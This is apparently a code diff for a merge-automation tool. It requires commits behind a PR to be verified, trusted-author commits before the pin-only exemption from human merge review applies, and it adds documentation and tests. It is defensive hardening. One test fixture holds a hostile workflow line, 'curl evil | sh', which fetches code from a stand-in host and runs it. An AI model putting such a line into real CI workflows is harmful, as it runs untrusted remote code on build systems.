diff --git a/changelog.d/security-pin-only-commit-provenance.md b/changelog.d/security-pin-only-commit-provenance.md new file mode 100644 index 0000000000..c9d5883924 --- /dev/null +++ b/changelog.d/security-pin-only-commit-provenance.md @@ -0,0 +1 @@ +- The `auto_merge.human_merge_pin_only` exception now verifies the commits behind the head, not only the PR author login: every commit must be authored by a `trusted_authors` login, committed by GitHub itself (`web-flow`) or a `trusted_authors` login, and carry a GitHub-verified signature (which binds to the committer, not the author), and the list must end at the current head. Before, anyone with write access could push a pin-shaped commit onto a trusted author's branch (a `dependabot/...` branch keeps `dependabot[bot]` as PR author) and have the sweep or `/approve` waive the human-merge-path hold on it. Unsigned or foreign commits, an unreadable or empty commit list, or a list that does not end at the head now hold the PR as before; the commit list is read only once the diff already qualifies, so refused PRs cost no extra API call. diff --git a/src/docs/hive-merge.md b/src/docs/hive-merge.md index b16e28202c..d2fe04def3 100644 --- a/src/docs/hive-merge.md +++ b/src/docs/hive-merge.md @@ -180,9 +180,26 @@ only after a lane's human-merge-path gate, so queued PRs inherit the exception. does not hold a PR on its human-merge-path matches when the repo has an enabled entry, the PR author is in `trusted_authors` (case-insensitive login match), GitHub's reported changed-file count is present and equals the fetched list, -and the classifier accepts the diff. The check reuses the file list the path -gate already fetches, so it costs no extra API call; a repo without an enabled -entry behaves exactly as before. `/hive approve` applies the same check, so its +the classifier accepts the diff, and every commit behind the head is a +trusted author's: the PR's commit list must end at the current head and each +commit must have an author login in `trusted_authors`, a committer login that +is either GitHub's own `web-flow` or in `trusted_authors`, **and** a signature +GitHub reports as verified. The PR author login only records who opened the +PR; any principal with write access can push onto that branch afterwards, and +a locally crafted commit can carry a bot's author email. GitHub verifies a +signature against the committer's email only, so a verified signature proves +the committer, not the author; a write-access principal with their own signing +key could otherwise sign a commit authored as a bot. Requiring the committer to +be `web-flow` (GitHub created and signed the commit, so GitHub set its author) +or a trusted login (a human trusted author signing locally) is what ties the +commit to the listed identity, since a spoofed committer email is not on the +signer's account and fails verification. Dependabot and Renovate commits are +web-flow committed and signed; a human trusted author must commit and sign as +themselves. A commit list that cannot be fetched, is empty, is longer than +GitHub serves, or does not end at the head holds the PR. The diff check reuses the file list the +path gate already fetches, so a PR the classifier refuses costs no extra API +call; the commit list is read only once the diff qualifies. A repo without an +enabled entry behaves exactly as before. `/hive approve` applies the same check, so its reply never contradicts the lane. Any other outcome holds the PR as before. The exception only prevents a new path hold: a PR that already carries `hold` stays held until a person (or the #16269 release integration) clears it. @@ -210,8 +227,11 @@ permission/credential/signing text and non-pin edits fail closed. This classifier proves **syntax only**, not authenticated identity, exact-head binding, file-list completeness, semantic interpretation or review of upstream -references. The sweep supplies the author (GitHub's PR author login) and -file-list completeness itself; the relay integration remains #16265; +references. The sweep supplies the author (GitHub's PR author login), the +verified-commit provenance of the head and file-list completeness itself; it +does not yet anchor a replaced action SHA to the upstream action's own refs +(GitHub resolves `uses:` SHAs across the fork network; the open second item +of #16399); the relay integration remains #16265; attribution and safe hold release are tracked in #16269. None of the schema or classifier APIs grants permission to merge or clears a hold. Native required checks and producer bindings, freshness, current reviews, substantive diff --git a/src/docs/operator-reference/README.md b/src/docs/operator-reference/README.md index ba9166cbe5..79f9785b5f 100644 --- a/src/docs/operator-reference/README.md +++ b/src/docs/operator-reference/README.md @@ -253,7 +253,7 @@ Go callers keep reading `cfg.Agents`, `cfg.Governor.Gateways` and so on through | `project.label_driven_supersede_park_actors` | `[]` (off) | Automation logins (for example a lifecycle bot running as `github-actions[bot]`) whose park labels a later trusted acceptance supersedes on label-driven repos: Hive removes the label, says so in the release comment, and releases the issue ([#13605](https://github.com/hivecommons/hive/issues/13605)). Park labels added by people, by unlisted bots, or by a listed bot after the acceptance still block; `hold` is never superseded. Per-repo override: `project.repo_policies[].label_driven_supersede_park_actors`. | | `auto_merge.allow_unprotected_base` | Deprecated no-op. | Accepted so older configs keep loading. `hive-merge` now merges into any protected or unprotected branch the App can write, subject to the CI-evidence gate and GitHub's own merge rules. | | `auto_merge.no_ci_ok` | Empty by default. | Explicit repo list whose zero-CI merge-request verdict may pass; failing or pending CI evidence is still enforced. | -| `auto_merge.human_merge_pin_only` | Unset (off); enforced by the automerge sweep lanes and `/approve` (#16266), **not yet by the `hive-merge` relay** (#16265). | Per-repo schema for `enabled`, `paths`, `kinds` (`action-sha`, `image-digest`, `version-pin`) and `trusted_authors`. Enabled entries require all three lists. The sweep does not place a human-merge-path hold on a PR whose author is in `trusted_authors` and whose complete diff (every changed file, guarded or not) is pin replacements; it never clears an existing hold. See [hive-merge.md](../hive-merge.md) for grammar, restrictions and outstanding integration/deployment requirements (#16242). | +| `auto_merge.human_merge_pin_only` | Unset (off); enforced by the automerge sweep lanes and `/approve` (#16266), **not yet by the `hive-merge` relay** (#16265). | Per-repo schema for `enabled`, `paths`, `kinds` (`action-sha`, `image-digest`, `version-pin`) and `trusted_authors`. Enabled entries require all three lists. The sweep does not place a human-merge-path hold on a PR whose author is in `trusted_authors`, whose complete diff (every changed file, guarded or not) is pin replacements, and whose every commit is authored by a `trusted_authors` login with a GitHub-verified signature; it never clears an existing hold. See [hive-merge.md](../hive-merge.md) for grammar, restrictions and outstanding integration/deployment requirements (#16242). | | `auto_merge.human_merge_paths` | Unset (off). | Per-repo map of `owner/repo` to glob patterns (same syntax as `intent.guardrail_path_patterns`) for paths a person must merge. Applies to every merge lane (App self-merge, trusted-author, label-queued, merge-request relay) whatever the intent tier; a matching PR is held with one comment, and an incomplete changed-file list fails closed. Details in the sweep key table below. | | `auto_merge.human_merge_title_prefixes` | `["⚠️", "⚠"]` | Title prefixes (after trimming) that mark a PR as a breaking change a person must merge. Every auto-merge lane and the merge train skip the PR; the tracker parks it at 090 *Ready for human merge · human merge*. Set to `[]` to disable. | | `auto_merge.human_merge_labels` | `["needs-owner-merge"]` | Labels (case-insensitive) that mark a PR a person must merge; same effect as the title prefixes. Set to `[]` to disable. | @@ -527,7 +527,7 @@ auto_merge: | `enabled` | Absent/false preserves the existing human-merge-path gate. | | `paths` | Explicit allowed paths within the protected path matches, not a replacement for `human_merge_paths`. Required when enabled. | | `kinds` | Explicit subset of `action-sha`, `image-digest`, `version-pin`; unknown kinds rejected. Required when enabled. | -| `trusted_authors` | Explicit authenticated author allowlist; required when enabled. Not permission to trust arbitrary bot-looking logins. | +| `trusted_authors` | Explicit author allowlist; required when enabled. Matched against the PR author login and against the author login of every commit behind the head; each commit must also be committed by GitHub (`web-flow`) or by a trusted login and carry a GitHub-verified signature, since GitHub verifies the committer, not the author (web-flow-committed bot commits qualify; human authors must commit and sign as themselves). Not permission to trust arbitrary bot-looking logins. | Edit the controller's active `hive.yaml` seed, not the consumer image repo. The config file watcher loads the seed plus dashboard overlay after a debounced diff --git a/src/pkg/config/automerge_pin_only.go b/src/pkg/config/automerge_pin_only.go index b03e534abe..8a2088d3f6 100644 --- a/src/pkg/config/automerge_pin_only.go +++ b/src/pkg/config/automerge_pin_only.go @@ -9,9 +9,12 @@ import ( // PinOnlyException is policy wired in Engine.SetHumanMergePinOnly and // enforced by the automerge sweep and /approve gates via humanMergePinOnlyExempt -// (#16266). It proves trusted PR author, complete file list, and SHA-bound merge, -// but not upstream review (separate gates handle that). The hive-merge relay does -// not yet apply it (#16265). +// (#16266). It proves trusted PR author, complete file list, SHA-bound merge, +// and commit provenance: every commit behind the head must have a trusted +// author login, a committer that is GitHub itself (web-flow) or a trusted +// login, and a GitHub-verified signature (#16399). It does not prove upstream +// review (separate gates handle that). The hive-merge relay does not yet apply +// it (#16265). type PinOnlyException struct { Enabled bool `yaml:"enabled" json:"enabled"` Paths []string `yaml:"paths" json:"paths"` diff --git a/src/pkg/github/automerge/automerge_human_paths.go b/src/pkg/github/automerge/automerge_human_paths.go index ea1457f81c..3f7a29655c 100644 --- a/src/pkg/github/automerge/automerge_human_paths.go +++ b/src/pkg/github/automerge/automerge_human_paths.go @@ -2,6 +2,7 @@ package automerge import ( "context" + "fmt" "strings" gh "github.com/google/go-github/v72/github" @@ -9,6 +10,7 @@ import ( hgithub "github.com/hivecommons/hive/pkg/github" "github.com/hivecommons/hive/pkg/intent" "github.com/hivecommons/hive/pkg/stageengine/prstage" + "github.com/hivecommons/hive/pkg/stagelabels" ) // Skip reasons reported by the human-merge-path gate (#11038). @@ -76,16 +78,20 @@ func (c *Engine) currentHumanMergePinOnly(repo string) (config.PinOnlyException, } // humanMergePinOnlyExempt reports whether the opt-in pin-only exception -// waives the human-merge-path matches of pr. It needs no API call: files is -// the complete list the caller already fetched for the path check. It returns -// (false, "") when the repo has no enabled exception, and (false, reason) when -// the exception is configured but this PR does not qualify. +// waives the human-merge-path matches of pr. files is the complete list the +// caller already fetched for the path check, so a PR the classifier refuses +// costs no further API call. It returns (false, "") when the repo has no +// enabled exception, and (false, reason) when the exception is configured but +// this PR does not qualify. // // The classifier receives the FULL changed-file list, so a pin bump that also // edits any other file (even an unguarded changelog or doc) is not pin-only -// and stays held (#16326). The sweep lanes and /approve share this helper so +// and stays held (#16326). Once the diff is accepted, every commit behind the +// head must itself be provably the trusted author's: the PR author login only +// says who opened the PR, and any principal with write access can push onto +// that branch afterwards. The sweep lanes and /approve share this helper so // they never disagree. -func (c *Engine) humanMergePinOnlyExempt(owner, repo string, pr *gh.PullRequest, files []intent.ChangedFile, matches []string) (bool, string) { +func (c *Engine) humanMergePinOnlyExempt(ctx context.Context, owner, repo string, pr *gh.PullRequest, files []intent.ChangedFile, matches []string) (bool, string) { if len(matches) == 0 || pr == nil { return false, "" } @@ -94,14 +100,7 @@ func (c *Engine) humanMergePinOnlyExempt(owner, repo string, pr *gh.PullRequest, return false, "" } author := strings.TrimSpace(hgithub.SafeGetLogin(pr.GetUser())) - trusted := false - for _, login := range policy.TrustedAuthors { - if author != "" && strings.EqualFold(strings.TrimSpace(login), author) { - trusted = true - break - } - } - if !trusted { + if !pinOnlyTrustedLogin(policy, author) { return false, "PR author is not in trusted_authors" } // ListChangedFiles already refuses a list shorter than GitHub's count; @@ -109,7 +108,100 @@ func (c *Engine) humanMergePinOnlyExempt(owner, repo string, pr *gh.PullRequest, if reported := pr.GetChangedFiles(); reported <= 0 || reported != len(files) { return false, "complete changed-file list not proven" } - return intent.ClassifyPinOnly(files, matches, policy.Spec()) + if ok, why := intent.ClassifyPinOnly(files, matches, policy.Spec()); !ok { + return false, why + } + if why := c.pinOnlyCommitsTrusted(ctx, owner, repo, pr, policy); why != "" { + return false, why + } + return true, "all changes are approved pin replacements by verified trusted-author commits" +} + +func pinOnlyTrustedLogin(policy config.PinOnlyException, login string) bool { + login = strings.TrimSpace(login) + if login == "" { + return false + } + for _, trusted := range policy.TrustedAuthors { + if strings.EqualFold(strings.TrimSpace(trusted), login) { + return true + } + } + return false +} + +// pinOnlyCommitsMaxPages bounds the commit listing; GitHub serves at most 250 +// commits for a PR, and a pin bump has one or two. +const pinOnlyCommitsMaxPages = 3 + +// pinOnlyCommitsTrusted returns "" when every commit of pr is attributed to a +// trusted author, was committed by a trusted login or by GitHub itself +// (web-flow), carries a signature GitHub verified, and the current head is +// the newest listed commit. GitHub verifies a signature against the +// committer's email only, so a verified commit proves the committer, not the +// author: a write-access principal with their own signing key can craft a +// commit whose author is a bot's noreply address and sign it as themselves +// (see pr_merge_state.go on verification reasons). Requiring the committer to +// be web-flow (GitHub-created and GitHub-signed, so GitHub set the author) or +// a trusted login (a human trusted author signing locally) closes that; a +// spoofed committer email fails verification because it is not on the +// signer's account. Any listing error, an empty or truncated list, or a head +// not in the list fails closed with a reason. +func (c *Engine) pinOnlyCommitsTrusted(ctx context.Context, owner, repo string, pr *gh.PullRequest, policy config.PinOnlyException) string { + head := pr.GetHead().GetSHA() + if head == "" { + return "PR head SHA unknown" + } + ctx = hgithub.WithRESTCaller(ctx, "hive:automerge_pin_only") + opts := &gh.ListOptions{PerPage: 100} + var all []*gh.RepositoryCommit + for page := 0; ; page++ { + if page == pinOnlyCommitsMaxPages { + return "PR commit list too long to verify" + } + commits, resp, err := c.gh.PullRequests.ListCommits(ctx, owner, repo, pr.GetNumber(), opts) + if err != nil { + return fmt.Sprintf("PR commits could not be listed: %v", err) + } + all = append(all, commits...) + if resp == nil || resp.NextPage == 0 { + break + } + opts.Page = resp.NextPage + } + if len(all) == 0 { + return "PR has no commits to verify" + } + if all[len(all)-1].GetSHA() != head { + return "PR commit list does not end at the current head" + } + for _, rc := range all { + sha := rc.GetSHA() + if sha == "" { + return "PR commit without a SHA" + } + if login := hgithub.SafeGetLogin(rc.GetAuthor()); !pinOnlyTrustedLogin(policy, login) { + return fmt.Sprintf("commit %s author %q is not in trusted_authors", stagelabels.ShortSHA(sha), login) + } + if committer := hgithub.SafeGetLogin(rc.GetCommitter()); !pinOnlyTrustedCommitter(policy, committer) { + return fmt.Sprintf("commit %s committer %q is neither GitHub nor in trusted_authors", stagelabels.ShortSHA(sha), committer) + } + if !rc.GetCommit().GetVerification().GetVerified() { + return fmt.Sprintf("commit %s has no GitHub-verified signature", stagelabels.ShortSHA(sha)) + } + } + return "" +} + +// pinOnlyWebFlowLogin is the login GitHub attaches as committer to commits it +// creates and signs itself (web UI, Apps such as Dependabot and Renovate). +const pinOnlyWebFlowLogin = "web-flow" + +// pinOnlyTrustedCommitter accepts GitHub's own committer identity or a +// trusted author committing (and signing) locally; the signature check then +// binds to this identity. +func pinOnlyTrustedCommitter(policy config.PinOnlyException, login string) bool { + return strings.EqualFold(strings.TrimSpace(login), pinOnlyWebFlowLogin) || pinOnlyTrustedLogin(policy, login) } // humanMergePathGate refuses a PR that touches a path a person must merge. @@ -124,8 +216,8 @@ func (c *Engine) humanMergePinOnlyExempt(owner, repo string, pr *gh.PullRequest, // `hold`, posts the single marker-stamped comment (not reposted on later // ticks) and returns autoMergeReasonHumanMergePath, unless the repo's enabled // auto_merge.human_merge_pin_only exception qualifies the PR (trusted author, -// complete list, every changed line a pin replacement), which needs no extra -// API call and returns ("", nil). +// complete list, every changed line a pin replacement, every commit a +// verified trusted-author commit) and returns ("", nil). func (c *Engine) humanMergePathGate(ctx context.Context, displayRepo, owner, repo string, pr *gh.PullRequest) (string, error) { patterns := c.currentHumanMergePaths(owner + "/" + repo) if len(patterns) == 0 { @@ -140,7 +232,7 @@ func (c *Engine) humanMergePathGate(ctx context.Context, displayRepo, owner, rep if len(matches) == 0 { return "", nil } - exempt, why := c.humanMergePinOnlyExempt(owner, repo, pr, files, matches) + exempt, why := c.humanMergePinOnlyExempt(ctx, owner, repo, pr, files, matches) if exempt { c.info("automerge sweep admitted pin-only change on human-merge paths", "repo", displayRepo, "pr", number, "paths", matches, "config", humanMergePinOnlyConfigKey, "reason", why) return "", nil diff --git a/src/pkg/github/automerge/automerge_human_paths_test.go b/src/pkg/github/automerge/automerge_human_paths_test.go index e53580c970..fcf4192cfc 100644 --- a/src/pkg/github/automerge/automerge_human_paths_test.go +++ b/src/pkg/github/automerge/automerge_human_paths_test.go @@ -31,8 +31,29 @@ type humanPathFront struct { fileEntries []map[string]any // when set, served first, before the entries built from files filesStatus int filesHits int - labels []string - comments []string + // commits is served for GET pulls/7/commits; nil serves one verified + // commit at head sha7 by renovate-bot so pin-only fixtures qualify. + commits []map[string]any + commitsStatus int + commitsHits int + labels []string + comments []string +} + +// testPinCommit is one PR commit as the gate sees it: author login, committer +// login, GitHub signature verification and SHA. GitHub's own committer +// (web-flow) is what Dependabot and Renovate commits carry. +func testPinCommit(sha, login string, verified bool) map[string]any { + return testPinCommitBy(sha, login, "web-flow", verified) +} + +func testPinCommitBy(sha, author, committer string, verified bool) map[string]any { + return map[string]any{ + "sha": sha, + "author": map[string]any{"login": author}, + "committer": map[string]any{"login": committer}, + "commit": map[string]any{"verification": map[string]any{"verified": verified}}, + } } func newHumanPathFront(t *testing.T, backend string, f *humanPathFront) *httptest.Server { @@ -57,6 +78,17 @@ func newHumanPathFront(t *testing.T, backend string, f *humanPathFront) *httptes files = append(files, map[string]any{"filename": name, "status": "modified", "additions": 1}) } json.NewEncoder(w).Encode(files) + case r.Method == http.MethodGet && r.URL.Path == "/repos/acme/widget/pulls/7/commits": + f.commitsHits++ + if f.commitsStatus != 0 { + w.WriteHeader(f.commitsStatus) + return + } + commits := f.commits + if commits == nil { + commits = []map[string]any{testPinCommit("sha7", "renovate-bot", true)} + } + json.NewEncoder(w).Encode(commits) case r.Method == http.MethodPost && r.URL.Path == "/repos/acme/widget/issues/7/labels": var labels []string _ = json.NewDecoder(r.Body).Decode(&labels) @@ -361,20 +393,45 @@ func testPinOnlyException() config.PinOnlyException { func TestHumanMergePathGatePinOnlyException(t *testing.T) { const workflow = ".github/workflows/ci.yml" for _, tc := range []struct { - name string - paths func(string) []string - pinOnly func(string) (config.PinOnlyException, bool) - author string - changed int // 0 means len(entries) - entries []map[string]any - wantHold bool - wantHits int + name string + paths func(string) []string + pinOnly func(string) (config.PinOnlyException, bool) + author string + changed int // 0 means len(entries) + entries []map[string]any + commits []map[string]any + commitsStatus int + wantHold bool + wantHits int + // wantCommitHits is how often the commit list is read: only a diff + // the classifier accepts costs that call. + wantCommitHits int }{ {name: "paths unconfigured: no fetch, no hold", pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}}, {name: "exception unconfigured: held as before", paths: humanPathsFor("acme/widget", testHumanMergePattern), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, wantHold: true, wantHits: 1}, {name: "exception for another repo: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/other", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, wantHold: true, wantHits: 1}, {name: "untrusted author: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "mallory", entries: []map[string]any{testPinFile(workflow)}, wantHold: true, wantHits: 1}, - {name: "trusted pure pin: not held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, wantHits: 1}, + {name: "trusted pure pin: not held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, wantHits: 1, wantCommitHits: 1}, + {name: "trusted pure pin, two verified trusted commits: not held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + commits: []map[string]any{testPinCommit("sha6", "Renovate-Bot", true), testPinCommit("sha7", "renovate-bot", true)}, wantHits: 1, wantCommitHits: 1}, + {name: "trusted pure pin, commit pushed by another login: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + commits: []map[string]any{testPinCommit("sha6", "renovate-bot", true), testPinCommit("sha7", "mallory", true)}, wantHold: true, wantHits: 1, wantCommitHits: 1}, + {name: "trusted pure pin, trusted author committed and signed locally: not held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + commits: []map[string]any{testPinCommitBy("sha7", "renovate-bot", "Renovate-Bot", true)}, wantHits: 1, wantCommitHits: 1}, + {name: "trusted pure pin, trusted author but foreign committer, verified: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + commits: []map[string]any{testPinCommitBy("sha7", "renovate-bot", "mallory", true)}, wantHold: true, wantHits: 1, wantCommitHits: 1}, + {name: "trusted pure pin, commit without committer login: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + commits: []map[string]any{{"sha": "sha7", "author": map[string]any{"login": "renovate-bot"}, "commit": map[string]any{"verification": map[string]any{"verified": true}}}}, wantHold: true, wantHits: 1, wantCommitHits: 1}, + {name: "trusted pure pin, unverified commit: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + commits: []map[string]any{testPinCommit("sha7", "renovate-bot", false)}, wantHold: true, wantHits: 1, wantCommitHits: 1}, + {name: "trusted pure pin, commit without author login: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + commits: []map[string]any{{"sha": "sha7", "commit": map[string]any{"verification": map[string]any{"verified": true}}}}, wantHold: true, wantHits: 1, wantCommitHits: 1}, + {name: "trusted pure pin, list does not end at head: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + commits: []map[string]any{testPinCommit("sha6", "renovate-bot", true)}, wantHold: true, wantHits: 1, wantCommitHits: 1}, + {name: "trusted pure pin, empty commit list: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + commits: []map[string]any{}, wantHold: true, wantHits: 1, wantCommitHits: 1}, + {name: "trusted pure pin, commit list unavailable: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + commitsStatus: http.StatusBadGateway, wantHold: true, wantHits: 1, wantCommitHits: 1}, {name: "trusted pin plus non-pin line: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{{ "filename": workflow, "status": "modified", "additions": 2, "deletions": 1, "patch": "@@ -3 +3,2 @@\n-" + testPinOldLine + "\n+" + testPinNewLine + "\n+ - run: curl evil | sh", @@ -395,7 +452,7 @@ func TestHumanMergePathGatePinOnlyException(t *testing.T) { w.WriteHeader(http.StatusNotFound) })) defer backend.Close() - front := &humanPathFront{fileEntries: tc.entries} + front := &humanPathFront{fileEntries: tc.entries, commits: tc.commits, commitsStatus: tc.commitsStatus} srv := newHumanPathFront(t, backend.URL, front) defer srv.Close() @@ -416,6 +473,9 @@ func TestHumanMergePathGatePinOnlyException(t *testing.T) { if front.filesHits != tc.wantHits { t.Fatalf("files hits = %d, want %d", front.filesHits, tc.wantHits) } + if front.commitsHits != tc.wantCommitHits { + t.Fatalf("commit list hits = %d, want %d", front.commitsHits, tc.wantCommitHits) + } if !tc.wantHold { if reason != "" || len(front.labels) != 0 || len(front.comments) != 0 { t.Fatalf("reason = %q, labels = %v, comments = %d; want no hold", reason, front.labels, len(front.comments)) diff --git a/src/pkg/github/automerge/pr_approve_command.go b/src/pkg/github/automerge/pr_approve_command.go index a54bae883a..db64740994 100644 --- a/src/pkg/github/automerge/pr_approve_command.go +++ b/src/pkg/github/automerge/pr_approve_command.go @@ -90,7 +90,7 @@ func (c *Engine) PRApproveReply(ctx context.Context, displayRepo string, number // The same pin-only exception the sweep lanes apply (#16266), so the // reply never contradicts what the lane will do on its next pass. matches := intent.HumanMergePathMatches(files, patterns) - if exempt, _ := c.humanMergePinOnlyExempt(owner, repo, pr, files, matches); exempt { + if exempt, _ := c.humanMergePinOnlyExempt(ctx, owner, repo, pr, files, matches); exempt { matches = nil } if len(matches) == 0 && diffReason == contributorLaneReasonWorkflowPath && c.currentContributorLanePolicy().OwnerApprovalReleasesWorkflowFence { diff --git a/src/pkg/github/automerge/pr_approve_command_test.go b/src/pkg/github/automerge/pr_approve_command_test.go index b28c96ffe1..5b775309b7 100644 --- a/src/pkg/github/automerge/pr_approve_command_test.go +++ b/src/pkg/github/automerge/pr_approve_command_test.go @@ -102,14 +102,26 @@ func TestPRApproveReply(t *testing.T) { // and anything the sweep would hold still is. func TestPRApproveReplyPinOnlyMatchesSweep(t *testing.T) { pin := "@@ -1 +1 @@\n-" + testPinOldLine + "\n+" + testPinNewLine + webFlow := &gh.User{Login: gh.Ptr("web-flow")} + verifiedHead := []*gh.RepositoryCommit{{SHA: gh.Ptr("sha7"), Author: &gh.User{Login: gh.Ptr(testHiveAppBotLogin)}, Committer: webFlow, Commit: &gh.Commit{Verification: &gh.SignatureVerification{Verified: gh.Ptr(true)}}}} for _, tc := range []struct { name, patch string trusted []string + commits []*gh.RepositoryCommit want string }{ - {name: "trusted pure pin", patch: pin, trusted: []string{testHiveAppBotLogin}, want: "does not consume it on a pull request"}, + {name: "trusted pure pin", patch: pin, trusted: []string{testHiveAppBotLogin}, commits: verifiedHead, want: "does not consume it on a pull request"}, {name: "untrusted author", patch: pin, trusted: []string{"someone-else"}, want: "requires a person to merge manually"}, {name: "missing patch", trusted: []string{testHiveAppBotLogin}, want: "requires a person to merge manually"}, + {name: "head commit pushed by another login", patch: pin, trusted: []string{testHiveAppBotLogin}, commits: []*gh.RepositoryCommit{ + verifiedHead[0], {SHA: gh.Ptr("sha7"), Author: &gh.User{Login: gh.Ptr("mallory")}, Committer: webFlow, Commit: &gh.Commit{Verification: &gh.SignatureVerification{Verified: gh.Ptr(true)}}}, + }, want: "requires a person to merge manually"}, + {name: "head commit trusted author but foreign committer, verified", patch: pin, trusted: []string{testHiveAppBotLogin}, commits: []*gh.RepositoryCommit{ + {SHA: gh.Ptr("sha7"), Author: &gh.User{Login: gh.Ptr(testHiveAppBotLogin)}, Committer: &gh.User{Login: gh.Ptr("mallory")}, Commit: &gh.Commit{Verification: &gh.SignatureVerification{Verified: gh.Ptr(true)}}}, + }, want: "requires a person to merge manually"}, + {name: "head commit unverified", patch: pin, trusted: []string{testHiveAppBotLogin}, commits: []*gh.RepositoryCommit{ + {SHA: gh.Ptr("sha7"), Author: &gh.User{Login: gh.Ptr(testHiveAppBotLogin)}, Committer: webFlow, Commit: &gh.Commit{Verification: &gh.SignatureVerification{Verified: gh.Ptr(false)}}}, + }, want: "requires a person to merge manually"}, } { t.Run(tc.name, func(t *testing.T) { api := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { @@ -123,6 +135,11 @@ func TestPRApproveReplyPinOnlyMatchesSweep(t *testing.T) { json.NewEncoder(w).Encode(&gh.PullRequest{Number: gh.Ptr(7), State: gh.Ptr("open"), ChangedFiles: gh.Ptr(1), User: &gh.User{Login: gh.Ptr(testHiveAppBotLogin)}, Head: &gh.PullRequestBranch{SHA: gh.Ptr("sha7")}}) case "/repos/acme/widget/pulls/7/files": json.NewEncoder(w).Encode([]*gh.CommitFile{{Filename: gh.Ptr("sensitive/build.yml"), Status: gh.Ptr("modified"), Additions: gh.Ptr(1), Deletions: gh.Ptr(1), Patch: gh.Ptr(tc.patch)}}) + case "/repos/acme/widget/pulls/7/commits": + if tc.commits == nil { + t.Errorf("commit list read for a diff the classifier refuses") + } + json.NewEncoder(w).Encode(tc.commits) default: t.Errorf("unexpected read: %s", r.URL.Path) w.WriteHeader(http.StatusNotFound)